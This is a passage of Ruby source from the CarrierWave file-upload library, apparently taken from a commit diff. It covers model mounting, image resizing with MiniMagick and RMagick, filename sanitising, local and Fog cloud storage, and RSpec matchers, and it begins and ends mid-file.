# this is an internal class, used by CarrierWave::Mount so that
# we don't pollute the model with a lot of methods.
class Mounter #:nodoc:
attr_reader :column, :record, :remote_url, :integrity_error, :processing_error
attr_accessor :remove
def initialize(record, column, options={})
@record = record
@column = column
@options = record.class.uploader_options[column]
end
def write_identifier
if remove?
record.write_uploader(serialization_column, '')
elsif not uploader.identifier.blank?
record.write_uploader(serialization_column, uploader.identifier)
end
end
def identifier
record.read_uploader(serialization_column)
end
def uploader
@uploader ||= record.class.uploaders[column].new(record, column)
if @uploader.blank? and not identifier.blank?
@uploader.retrieve_from_store!(identifier)
end
return @uploader
end
def cache(new_file)
uploader.cache!(new_file)
@integrity_error = nil
@processing_error = nil
rescue CarrierWave::IntegrityError => e
@integrity_error = e
raise e unless option(:ignore_integrity_errors)
rescue CarrierWave::ProcessingError => e
@processing_error = e
raise e unless option(:ignore_processing_errors)
end
def cache_name
uploader.cache_name
end
def cache_name=(cache_name)
uploader.retrieve_from_cache!(cache_name) unless uploader.cached?
rescue CarrierWave::InvalidParameter
end
def remote_url=(url)
@remote_url = url
uploader.download!(url)
end
def store!
unless uploader.blank?
if remove?
uploader.remove!
else
uploader.store!
end
end
end
def url(*args)
uploader.url(*args)
end
def blank?
uploader.blank?
end
def remove?
!remove.blank? and remove !~ /\A0|false$\z/
end
def remove!
uploader.remove!
end
def serialization_column
option(:mount_on) || column
end
attr_accessor :uploader_options
private
def option(name)
self.uploader_options ||= {}
self.uploader_options[name] ||= record.class.uploader_option(column, name)
end
end # Mounter
end # Mount
end # CarrierWave

View File

@ -0,0 +1,66 @@
# encoding: utf-8
require 'active_record'
require 'carrierwave/validations/active_model'
module CarrierWave
module ActiveRecord
include CarrierWave::Mount
##
# See +CarrierWave::Mount#mount_uploader+ for documentation
#
def mount_uploader(column, uploader=nil, options={}, &block)
super
alias_method :read_uploader, :read_attribute
alias_method :write_uploader, :write_attribute
public :read_uploader
public :write_uploader
include CarrierWave::Validations::ActiveModel
validates_integrity_of column if uploader_option(column.to_sym, :validate_integrity)
validates_processing_of column if uploader_option(column.to_sym, :validate_processing)
after_save :"store_#{column}!"
before_save :"write_#{column}_identifier"
after_destroy :"remove_#{column}!"
before_update :"store_previous_model_for_#{column}"
after_save :"remove_previously_stored_#{column}"
class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}=(new_file)
column = _mounter(:#{column}).serialization_column
send(:"\#{column}_will_change!")
super
end
def remote_#{column}_url=(url)
column = _mounter(:#{column}).serialization_column
send(:"\#{column}_will_change!")
super
end
def serializable_hash(options=nil)
hash = {}
except = options && options[:except] && Array.wrap(options[:except]).map(&:to_s)
only = options && options[:only] && Array.wrap(options[:only]).map(&:to_s)
self.class.uploaders.each do |column, uploader|
if (!only && !except) || (only && only.include?(column.to_s)) || (except && !except.include?(column.to_s))
hash[column.to_s] = _mounter(:#{column}).uploader.serializable_hash
end
end
super(options).merge(hash)
end
RUBY
end
end # ActiveRecord
end # CarrierWave
ActiveRecord::Base.extend CarrierWave::ActiveRecord

View File

@ -0,0 +1,58 @@
require 'mime/types'
module CarrierWave
##
# This module simplifies the use of the mime-types gem to intelligently
# guess and set the content-type of a file. If you want to use this, you'll
# need to require this file:
#
# require 'carrierwave/processing/mime_types'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MimeTypes
# end
#
# You can now use the provided helper:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MimeTypes
#
# process :set_content_type
# end
#
module MimeTypes
extend ActiveSupport::Concern
module ClassMethods
def set_content_type(override=false)
process :set_content_type => override
end
end
##
# Changes the file content_type using the mime-types gem
#
# === Parameters
#
# [override (Boolean)] whether or not to override the file's content_type
# if it is already set and not a generic content-type,
# false by default
#
def set_content_type(override=false)
if override || file.content_type.blank? || file.content_type == 'application/octet-stream'
new_content_type = ::MIME::Types.type_for(file.original_filename).first.to_s
if file.respond_to?(:content_type=)
file.content_type = new_content_type
else
file.instance_variable_set(:@content_type, new_content_type)
end
end
rescue ::MIME::InvalidContentType => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mime_types_processing_error", :e => e)
end
end # MimeTypes
end # CarrierWave

View File

@ -0,0 +1,254 @@
# encoding: utf-8
require 'mini_magick'
module CarrierWave
##
# This module simplifies manipulation with MiniMagick by providing a set
# of convenient helper methods. If you want to use them, you'll need to
# require this file:
#
# require 'carrierwave/processing/mini_magick'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
# end
#
# You can now use the provided helpers:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
#
# process :resize_to_fit => [200, 200]
# end
#
# Or create your own helpers with the powerful manipulate! method. Check
# out the ImageMagick docs at http://www.imagemagick.org/script/command-line-options.php for more
# info
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
#
# process :radial_blur => 10
#
# def radial_blur(amount)
# manipulate! do |img|
# img.radial_blur(amount)
# img = yield(img) if block_given?
# img
# end
# end
#
# === Note
#
# MiniMagick is a mini replacement for RMagick that uses the command line
# tool "mogrify" for image manipulation.
#
# You can find more information here:
#
# http://mini_magick.rubyforge.org/
# and
# http://github.com/probablycorey/mini_magick/
#
#
module MiniMagick
extend ActiveSupport::Concern
module ClassMethods
def convert(format)
process :convert => format
end
def resize_to_limit(width, height)
process :resize_to_limit => [width, height]
end
def resize_to_fit(width, height)
process :resize_to_fit => [width, height]
end
def resize_to_fill(width, height, gravity='Center')
process :resize_to_fill => [width, height, gravity]
end
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
process :resize_and_pad => [width, height, background, gravity]
end
end
##
# Changes the image encoding format to the given format
#
# See http://www.imagemagick.org/script/command-line-options.php#format
#
# === Parameters
#
# [format (#to_s)] an abreviation of the format
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
# === Examples
#
# image.convert(:png)
#
def convert(format)
manipulate! do |img|
img.format(format.to_s.downcase)
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. Will only resize the image if it is larger than the
# specified dimensions. The resulting image may be shorter or narrower than specified
# in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_limit(width, height)
manipulate! do |img|
img.resize "#{width}x#{height}>"
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. The image may be shorter or narrower than
# specified in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_fit(width, height)
manipulate! do |img|
img.resize "#{width}x#{height}"
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the aspect ratio of the original image. If necessary, crop the image in the
# larger dimension.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [gravity (String)] the current gravity suggestion (default: 'Center'; options: 'NorthWest', 'North', 'NorthEast', 'West', 'Center', 'East', 'SouthWest', 'South', 'SouthEast')
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_fill(width, height, gravity = 'Center')
manipulate! do |img|
cols, rows = img[:dimensions]
img.combine_options do |cmd|
if width != cols || height != rows
scale = [width/cols.to_f, height/rows.to_f].max
cols = (scale * (cols + 0.5)).round
rows = (scale * (rows + 0.5)).round
cmd.resize "#{cols}x#{rows}"
end
cmd.gravity gravity
cmd.background "rgba(255,255,255,0.0)"
cmd.extent "#{width}x#{height}" if cols != width || rows != height
end
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. If necessary, will pad the remaining area
# with the given color, which defaults to transparent (for gif and png,
# white for jpeg).
#
# See http://www.imagemagick.org/script/command-line-options.php#gravity
# for gravity options.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
# [gravity (String)] how to position the image
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_and_pad(width, height, background=:transparent, gravity='Center')
manipulate! do |img|
img.combine_options do |cmd|
cmd.thumbnail "#{width}x#{height}>"
if background == :transparent
cmd.background "rgba(255, 255, 255, 0.0)"
else
cmd.background background
end
cmd.gravity gravity
cmd.extent "#{width}x#{height}"
end
img = yield(img) if block_given?
img
end
end
##
# Manipulate the image with MiniMagick. This method will load up an image
# and then pass each of its frames to the supplied block. It will then
# save the image to disk.
#
# === Gotcha
#
# This method assumes that the object responds to +current_path+.
# Any class that this module is mixed into must have a +current_path+ method.
# CarrierWave::Uploader does, so you won't need to worry about this in
# most cases.
#
# === Yields
#
# [MiniMagick::Image] manipulations to perform
#
# === Raises
#
# [CarrierWave::ProcessingError] if manipulation failed.
#
def manipulate!
cache_stored_file! if !cached?
image = ::MiniMagick::Image.open(current_path)
image = yield(image)
image.write(current_path)
::MiniMagick::Image.open(current_path)
rescue ::MiniMagick::Error, ::MiniMagick::Invalid => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mini_magick_processing_error", :e => e)
end
end # MiniMagick
end # CarrierWave

View File

@ -0,0 +1,284 @@
# encoding: utf-8
unless defined? Magick
begin
require 'rmagick'
rescue LoadError
require 'RMagick'
rescue LoadError
puts "WARNING: Failed to require rmagick, image processing may fail!"
end
end
module CarrierWave
##
# This module simplifies manipulation with RMagick by providing a set
# of convenient helper methods. If you want to use them, you'll need to
# require this file:
#
# require 'carrierwave/processing/rmagick'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
# end
#
# You can now use the provided helpers:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
#
# process :resize_to_fit => [200, 200]
# end
#
# Or create your own helpers with the powerful manipulate! method. Check
# out the RMagick docs at http://www.imagemagick.org/RMagick/doc/ for more
# info
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
#
# process :do_stuff => 10.0
#
# def do_stuff(blur_factor)
# manipulate! do |img|
# img = img.sepiatone
# img = img.auto_orient
# img = img.radial_blur(blur_factor)
# end
# end
# end
#
# === Note
#
# You should be aware how RMagick handles memory. manipulate! takes care
# of freeing up memory for you, but for optimum memory usage you should
# use destructive operations as much as possible:
#
# DON'T DO THIS:
# img = img.resize_to_fit
#
# DO THIS INSTEAD:
# img.resize_to_fit!
#
# Read this for more information why:
#
# http://rubyforge.org/forum/forum.php?thread_id=1374&forum_id=1618
#
module RMagick
extend ActiveSupport::Concern
module ClassMethods
def convert(format)
process :convert => format
end
def resize_to_limit(width, height)
process :resize_to_limit => [width, height]
end
def resize_to_fit(width, height)
process :resize_to_fit => [width, height]
end
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
process :resize_to_fill => [width, height, gravity]
end
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
process :resize_and_pad => [width, height, background, gravity]
end
end
##
# Changes the image encoding format to the given format
#
# See even http://www.imagemagick.org/RMagick/doc/magick.html#formats
#
# === Parameters
#
# [format (#to_s)] an abreviation of the format
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
# === Examples
#
# image.convert(:png)
#
def convert(format)
manipulate!(:format => format)
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. Will only resize the image if it is larger than the
# specified dimensions. The resulting image may be shorter or narrower than specified
# in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_limit(width, height)
manipulate! do |img|
geometry = Magick::Geometry.new(width, height, 0, 0, Magick::GreaterGeometry)
new_img = img.change_geometry(geometry) do |new_width, new_height|
img.resize(new_width, new_height)
end
destroy_image(img)
new_img = yield(new_img) if block_given?
new_img
end
end
##
# From the RMagick documentation: "Resize the image to fit within the
# specified dimensions while retaining the original aspect ratio. The
# image may be shorter or narrower than specified in the smaller dimension
# but will not be larger than the specified values."
#
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fit
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_fit(width, height)
manipulate! do |img|
img.resize_to_fit!(width, height)
img = yield(img) if block_given?
img
end
end
##
# From the RMagick documentation: "Resize the image to fit within the
# specified dimensions while retaining the aspect ratio of the original
# image. If necessary, crop the image in the larger dimension."
#
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fill
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
manipulate! do |img|
img.crop_resized!(width, height, gravity)
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. If necessary, will pad the remaining area
# with the given color, which defaults to transparent (for gif and png,
# white for jpeg).
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
# [gravity (Magick::GravityType)] how to position the image
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
manipulate! do |img|
img.resize_to_fit!(width, height)
new_img = ::Magick::Image.new(width, height)
if background == :transparent
filled = new_img.matte_floodfill(1, 1)
else
filled = new_img.color_floodfill(1, 1, ::Magick::Pixel.from_color(background))
end
destroy_image(new_img)
filled.composite!(img, gravity, ::Magick::OverCompositeOp)
destroy_image(img)
filled = yield(filled) if block_given?
filled
end
end
##
# Manipulate the image with RMagick. This method will load up an image
# and then pass each of its frames to the supplied block. It will then
# save the image to disk.
#
# === Gotcha
#
# This method assumes that the object responds to +current_path+.
# Any class that this module is mixed into must have a +current_path+ method.
# CarrierWave::Uploader does, so you won't need to worry about this in
# most cases.
#
# === Yields
#
# [Magick::Image] manipulations to perform
#
# === Raises
#
# [CarrierWave::ProcessingError] if manipulation failed.
#
def manipulate!(options={}, &block)
cache_stored_file! if !cached?
image = ::Magick::Image.read(current_path)
frames = if image.size > 1
list = ::Magick::ImageList.new
image.each_with_index do |frame, index|
processed_frame = if block_given?
yield *[frame, index].take(block.arity)
else
frame
end
list << processed_frame if processed_frame
end
block_given? ? list : list.append(true)
else
frame = image.first
frame = yield( *[frame, 0].take(block.arity) ) if block_given?
frame
end
if options[:format]
frames.write("#{options[:format]}:#{current_path}")
else
frames.write(current_path)
end
destroy_image(frames)
rescue ::Magick::ImageMagickError => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.rmagick_processing_error", :e => e)
end
private
def destroy_image(image)
image.destroy! if image.respond_to?(:destroy!)
end
end # RMagick
end # CarrierWave

View File

@ -0,0 +1,315 @@
# encoding: utf-8
require 'pathname'
require 'active_support/core_ext/string/multibyte'
module CarrierWave
##
# SanitizedFile is a base class which provides a common API around all
# the different quirky Ruby File libraries. It has support for Tempfile,
# File, StringIO, Merb-style upload Hashes, as well as paths given as
# Strings and Pathnames.
#
# It's probably needlessly comprehensive and complex. Help is appreciated.
#
class SanitizedFile
attr_accessor :file
class << self
attr_writer :sanitize_regexp
def sanitize_regexp
@sanitize_regexp ||= /[^a-zA-Z0-9\.\-\+_]/
end
end
def initialize(file)
self.file = file
end
##
# Returns the filename as is, without sanizting it.
#
# === Returns
#
# [String] the unsanitized filename
#
def original_filename
return @original_filename if @original_filename
if @file and @file.respond_to?(:original_filename)
@file.original_filename
elsif path
File.basename(path)
end
end
##
# Returns the filename, sanitized to strip out any evil characters.
#
# === Returns
#
# [String] the sanitized filename
#
def filename
sanitize(original_filename) if original_filename
end
alias_method :identifier, :filename
##
# Returns the part of the filename before the extension. So if a file is called 'test.jpeg'
# this would return 'test'
#
# === Returns
#
# [String] the first part of the filename
#
def basename
split_extension(filename)[0] if filename
end
##
# Returns the file extension
#
# === Returns
#
# [String] the extension
#
def extension
split_extension(filename)[1] if filename
end
##
# Returns the file's size.
#
# === Returns
#
# [Integer] the file's size in bytes.
#
def size
if is_path?
exists? ? File.size(path) : 0
elsif @file.respond_to?(:size)
@file.size
elsif path
exists? ? File.size(path) : 0
else
0
end
end
##
# Returns the full path to the file. If the file has no path, it will return nil.
#
# === Returns
#
# [String, nil] the path where the file is located.
#
def path
unless @file.blank?
if is_path?
File.expand_path(@file)
elsif @file.respond_to?(:path) and not @file.path.blank?
File.expand_path(@file.path)
end
end
end
##
# === Returns
#
# [Boolean] whether the file is supplied as a pathname or string.
#
def is_path?
!!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)
end
##
# === Returns
#
# [Boolean] whether the file is valid and has a non-zero size
#
def empty?
@file.nil? || self.size.nil? || (self.size.zero? && ! self.exists?)
end
##
# === Returns
#
# [Boolean] Whether the file exists
#
def exists?
return File.exists?(self.path) if self.path
return false
end
##
# Returns the contents of the file.
#
# === Returns
#
# [String] contents of the file
#
def read
if is_path?
File.open(@file, "rb") {|file| file.read}
else
@file.rewind if @file.respond_to?(:rewind)
@file.read
end
end
##
# Moves the file to the given path
#
# === Parameters
#
# [new_path (String)] The path where the file should be moved.
# [permissions (Integer)] permissions to set on the file in its new location.
#
def move_to(new_path, permissions=nil)
return if self.empty?
new_path = File.expand_path(new_path)
mkdir!(new_path)
if exists?
FileUtils.mv(path, new_path) unless new_path == path
else
File.open(new_path, "wb") { |f| f.write(read) }
end
chmod!(new_path, permissions)
self.file = new_path
self
end
##
# Creates a copy of this file and moves it to the given path. Returns the copy.
#
# === Parameters
#
# [new_path (String)] The path where the file should be copied to.
# [permissions (Integer)] permissions to set on the copy
#
# === Returns
#
# @return [CarrierWave::SanitizedFile] the location where the file will be stored.
#
def copy_to(new_path, permissions=nil)
return if self.empty?
new_path = File.expand_path(new_path)
mkdir!(new_path)
if exists?
FileUtils.cp(path, new_path) unless new_path == path
else
File.open(new_path, "wb") { |f| f.write(read) }
end
chmod!(new_path, permissions)
self.class.new({:tempfile => new_path, :content_type => content_type})
end
##
# Removes the file from the filesystem.
#
def delete
FileUtils.rm(self.path) if exists?
end
##
# Returns a File object, or nil if it does not exist.
#
# === Returns
#
# [File] a File object representing the SanitizedFile
#
def to_file
return @file if @file.is_a?(File)
File.open(path) if exists?
end
##
# Returns the content type of the file.
#
# === Returns
#
# [String] the content type of the file
#
def content_type
return @content_type if @content_type
@file.content_type.to_s.chomp if @file.respond_to?(:content_type) and @file.content_type
end
##
# Sets the content type of the file.
#
# === Returns
#
# [String] the content type of the file
#
def content_type=(type)
@content_type = type
end
##
# Used to sanitize the file name. Public to allow overriding for non-latin characters.
#
# === Returns
#
# [Regexp] the regexp for sanitizing the file name
#
def sanitize_regexp
CarrierWave::SanitizedFile.sanitize_regexp
end
private
def file=(file)
if file.is_a?(Hash)
@file = file["tempfile"] || file[:tempfile]
@original_filename = file["filename"] || file[:filename]
@content_type = file["content_type"] || file[:content_type]
else
@file = file
@original_filename = nil
@content_type = nil
end
end
# create the directory if it doesn't exist
def mkdir!(path)
FileUtils.mkdir_p(File.dirname(path)) unless File.exists?(File.dirname(path))
end
def chmod!(path, permissions)
File.chmod(permissions, path) if permissions
end
# Sanitize the filename, to prevent hacking
def sanitize(name)
name = name.gsub("\\", "/") # work-around for IE
name = File.basename(name)
name = name.gsub(sanitize_regexp,"_")
name = "_#{name}" if name =~ /\A\.+\z/
name = "unnamed" if name.size == 0
return name.mb_chars.to_s
end
def split_extension(filename)
# regular expressions to try for identifying extensions
extension_matchers = [
/\A(.+)\.(tar\.gz)\z/, # matches "something.tar.gz"
/\A(.+)\.([^\.]+)\z/ # matches "something.jpg"
]
extension_matchers.each do |regexp|
if filename =~ regexp
return $1, $2
end
end
return filename, "" # In case we weren't able to split the extension
end
end # SanitizedFile
end # CarrierWave

View File

@ -0,0 +1,30 @@
# encoding: utf-8
module CarrierWave
module Storage
##
# This file serves mostly as a specification for Storage engines. There is no requirement
# that storage engines must be a subclass of this class.
#
class Abstract
attr_reader :uploader
def initialize(uploader)
@uploader = uploader
end
def identifier
uploader.filename
end
def store!(file)
end
def retrieve!(identifier)
end
end # Abstract
end # Storage
end # CarrierWave

View File

@ -0,0 +1,56 @@
# encoding: utf-8
module CarrierWave
module Storage
##
# File storage stores file to the Filesystem (surprising, no?). There's really not much
# to it, it uses the store_dir defined on the uploader as the storage location. That's
# pretty much it.
#
class File < Abstract
##
# Move the file to the uploader's store path.
#
# By default, store!() uses copy_to(), which operates by copying the file
# from the cache to the store, then deleting the file from the cache.
# If move_to_store() is overriden to return true, then store!() uses move_to(),
# which simply moves the file from cache to store. Useful for large files.
#
# === Parameters
#
# [file (CarrierWave::SanitizedFile)] the file to store
#
# === Returns
#
# [CarrierWave::SanitizedFile] a sanitized file
#
def store!(file)
path = ::File.expand_path(uploader.store_path, uploader.root)
if uploader.move_to_store
file.move_to(path, uploader.permissions)
else
file.copy_to(path, uploader.permissions)
end
end
##
# Retrieve the file from its store path
#
# === Parameters
#
# [identifier (String)] the filename of the file
#
# === Returns
#
# [CarrierWave::SanitizedFile] a sanitized file
#
def retrieve!(identifier)
path = ::File.expand_path(uploader.store_path(identifier), uploader.root)
CarrierWave::SanitizedFile.new(path)
end
end # File
end # Storage
end # CarrierWave

View File

@ -0,0 +1,358 @@
# encoding: utf-8
begin
require 'fog'
rescue LoadError
raise "You don't have the 'fog' gem installed"
end
module CarrierWave
module Storage
##
# Stores things using the "fog" gem.
#
# fog supports storing files with AWS, Google, Local and Rackspace
#
# You need to setup some options to configure your usage:
#
# [:fog_credentials] credentials for service
# [:fog_directory] specifies name of directory to store data in, assumed to already exist
#
# [:fog_attributes] (optional) additional attributes to set on files
# [:fog_host] (optional) non-default host to serve files from
# [:fog_public] (optional) public readability, defaults to true
# [:fog_authenticated_url_expiration] (optional) time (in seconds) that authenticated urls
# will be valid, when fog_public is false and provider is AWS or Google, defaults to 600
#
#
# AWS credentials contain the following keys:
#
# [:aws_access_key_id]
# [:aws_secret_access_key]
# [:region] (optional) defaults to 'us-east-1'
# :region should be one of ['eu-west-1', 'us-east-1', 'ap-southeast-1', 'us-west-1', 'ap-northeast-1']
#
#
# Google credentials contain the following keys:
# [:google_storage_access_key_id]
# [:google_storage_secrete_access_key]
#
#
# Local credentials contain the following keys:
#
# [:local_root] local path to files
#
#
# Rackspace credentials contain the following keys:
#
# [:rackspace_username]
# [:rackspace_api_key]
#
#
# A full example with AWS credentials:
# CarrierWave.configure do |config|
# config.fog_credentials = {
# :aws_access_key_id => 'xxxxxx',
# :aws_secret_access_key => 'yyyyyy',
# :provider => 'AWS'
# }
# config.fog_directory = 'directoryname'
# config.fog_public = true
# end
#
class Fog < Abstract
class << self
def connection_cache
@connection_cache ||= {}
end
end
##
# Store a file
#
# === Parameters
#
# [file (CarrierWave::SanitizedFile)] the file to store
#
# === Returns
#
# [CarrierWave::Storage::Fog::File] the stored file
#
def store!(file)
f = CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path)
f.store(file)
f
end
##
# Retrieve a file
#
# === Parameters
#
# [identifier (String)] unique identifier for file
#
# === Returns
#
# [CarrierWave::Storage::Fog::File] the stored file
#
def retrieve!(identifier)
CarrierWave::Storage::Fog::File.new(uploader, self, uploader.store_path(identifier))
end
def connection
@connection ||= begin
credentials = uploader.fog_credentials
self.class.connection_cache[credentials] ||= ::Fog::Storage.new(credentials)
end
end
class File
##
# Current local path to file
#
# === Returns
#
# [String] a path to file
#
attr_reader :path
##
# Return all attributes from file
#
# === Returns
#
# [Hash] attributes from file
#
def attributes
file.attributes
end
##
# Return a temporary authenticated url to a private file, if available
# Only supported for AWS and Google providers
#
# === Returns
#
# [String] temporary authenticated url
# or
# [NilClass] no authenticated url available
#
def authenticated_url(options = {})
if ['AWS', 'Google'].include?(@uploader.fog_credentials[:provider])
# avoid a get by using local references
local_directory = connection.directories.new(:key => @uploader.fog_directory)
local_file = local_directory.files.new(:key => path)
if @uploader.fog_credentials[:provider] == "AWS"
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration, options)
else
local_file.url(::Fog::Time.now + @uploader.fog_authenticated_url_expiration)
end
else
nil
end
end
##
# Lookup value for file content-type header
#
# === Returns
#
# [String] value of content-type
#
def content_type
@content_type || file.content_type
end
##
# Set non-default content-type header (default is file.content_type)
#
# === Returns
#
# [String] returns new content type value
#
def content_type=(new_content_type)
@content_type = new_content_type
end
##
# Remove the file from service
#
# === Returns
#
# [Boolean] true for success or raises error
#
def delete
# avoid a get by just using local reference
directory.files.new(:key => path).destroy
end
##
# deprecated: All attributes from file (includes headers)
#
# === Returns
#
# [Hash] attributes from file
#
def headers
location = caller.first
warning = "[yellow][WARN] headers is deprecated, use attributes instead[/]"
warning << " [light_black](#{location})[/]"
Formatador.display_line(warning)
attributes
end
def initialize(uploader, base, path)
@uploader, @base, @path = uploader, base, path
end
##
# Read content of file from service
#
# === Returns
#
# [String] contents of file
def read
file.body
end
##
# Return size of file body
#
# === Returns
#
# [Integer] size of file body
#
def size
file.content_length
end
##
# Check if the file exists on the remote service
#
# === Returns
#
# [Boolean] true if file exists or false
def exists?
!!directory.files.head(path)
end
##
# Write file to service
#
# === Returns
#
# [Boolean] true on success or raises error
def store(new_file)
fog_file = new_file.to_file
@content_type ||= new_file.content_type
@file = directory.files.create({
:body => fog_file ? fog_file : new_file.read,
:content_type => @content_type,
:key => path,
:public => @uploader.fog_public
}.merge(@uploader.fog_attributes))
fog_file.close if fog_file && !fog_file.closed?
true
end
##
# Return a url to a public file, if available
#
# === Returns
#
# [String] public url
# or
# [NilClass] no public url available
#
def public_url
if host = @uploader.fog_host
if host.respond_to? :call
"#{host.call(self)}/#{path}"
else
"#{host}/#{path}"
end
else
# AWS/Google optimized for speed over correctness
case @uploader.fog_credentials[:provider]
when 'AWS'
# if directory is a valid subdomain, use that style for access
if @uploader.fog_directory.to_s =~ /^(?:[a-z]|\d(?!\d{0,2}(?:\d{1,3}){3}$))(?:[a-z0-9]|(?![\-])|\-(?![\.])){1,61}[a-z0-9]$/
"https://#{@uploader.fog_directory}.s3.amazonaws.com/#{path}"
else
# directory is not a valid subdomain, so use path style for access
"https://s3.amazonaws.com/#{@uploader.fog_directory}/#{path}"
end
when 'Google'
"https://commondatastorage.googleapis.com/#{@uploader.fog_directory}/#{path}"
else
# avoid a get by just using local reference
directory.files.new(:key => path).public_url
end
end
end
##
# Return url to file, if avaliable
#
# === Returns
#
# [String] url
# or
# [NilClass] no url available
#
def url(options = {})
if !@uploader.fog_public
authenticated_url(options)
else
public_url
end
end
private
##
# connection to service
#
# === Returns
#
# [Fog::#{provider}::Storage] connection to service
#
def connection
@base.connection
end
##
# local reference to directory containing file
#
# === Returns
#
# [Fog::#{provider}::Directory] containing directory
#
def directory
@directory ||= begin
connection.directories.new(
:key => @uploader.fog_directory,
:public => @uploader.fog_public
)
end
end
##
# lookup file
#
# === Returns
#
# [Fog::#{provider}::File] file data from remote service
#
def file
@file ||= directory.files.head(path)
end
end
end # Fog
end # Storage
end # CarrierWave

View File

@ -0,0 +1,241 @@
# encoding: utf-8
module CarrierWave
module Test
##
# These are some matchers that can be used in RSpec specs, to simplify the testing
# of uploaders.
#
module Matchers
class BeIdenticalTo # :nodoc:
def initialize(expected)
@expected = expected
end
def matches?(actual)
@actual = actual
FileUtils.identical?(@actual, @expected)
end
def failure_message
"expected #{@actual.inspect} to be identical to #{@expected.inspect}"
end
def negative_failure_message
"expected #{@actual.inspect} to not be identical to #{@expected.inspect}"
end
def description
"be identical to #{@expected.inspect}"
end
end
def be_identical_to(expected)
BeIdenticalTo.new(expected)
end
class HavePermissions # :nodoc:
def initialize(expected)
@expected = expected
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
(File.stat(@actual.path).mode & 0777) == @expected
end
def failure_message
"expected #{@actual.current_path.inspect} to have permissions #{@expected.to_s(8)}, but they were #{(File.stat(@actual.path).mode & 0777).to_s(8)}"
end
def negative_failure_message
"expected #{@actual.current_path.inspect} not to have permissions #{@expected.to_s(8)}, but it did"
end
def description
"have permissions #{@expected.to_s(8)}"
end
end
def have_permissions(expected)
HavePermissions.new(expected)
end
class BeNoLargerThan # :nodoc:
def initialize(width, height)
@width, @height = width, height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_height = image.height
@actual_width <= @width && @actual_height <= @height
end
def failure_message
"expected #{@actual.current_path.inspect} to be no larger than #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
end
def negative_failure_message
"expected #{@actual.current_path.inspect} to be larger than #{@width} by #{@height}, but it wasn't."
end
def description
"be no larger than #{@width} by #{@height}"
end
end
def be_no_larger_than(width, height)
BeNoLargerThan.new(width, height)
end
class HaveDimensions # :nodoc:
def initialize(width, height)
@width, @height = width, height
end
def matches?(actual)
@actual = actual
# Satisfy expectation here. Return false or raise an error if it's not met.
image = ImageLoader.load_image(@actual.current_path)
@actual_width = image.width
@actual_height = image.height
@actual_width == @width && @actual_height == @height
end
def failure_message
"expected #{@actual.current_path.inspect} to have an exact size of #{@width} by #{@height}, but it was #{@actual_width} by #{@actual_height}."
end
def negative_failure_message
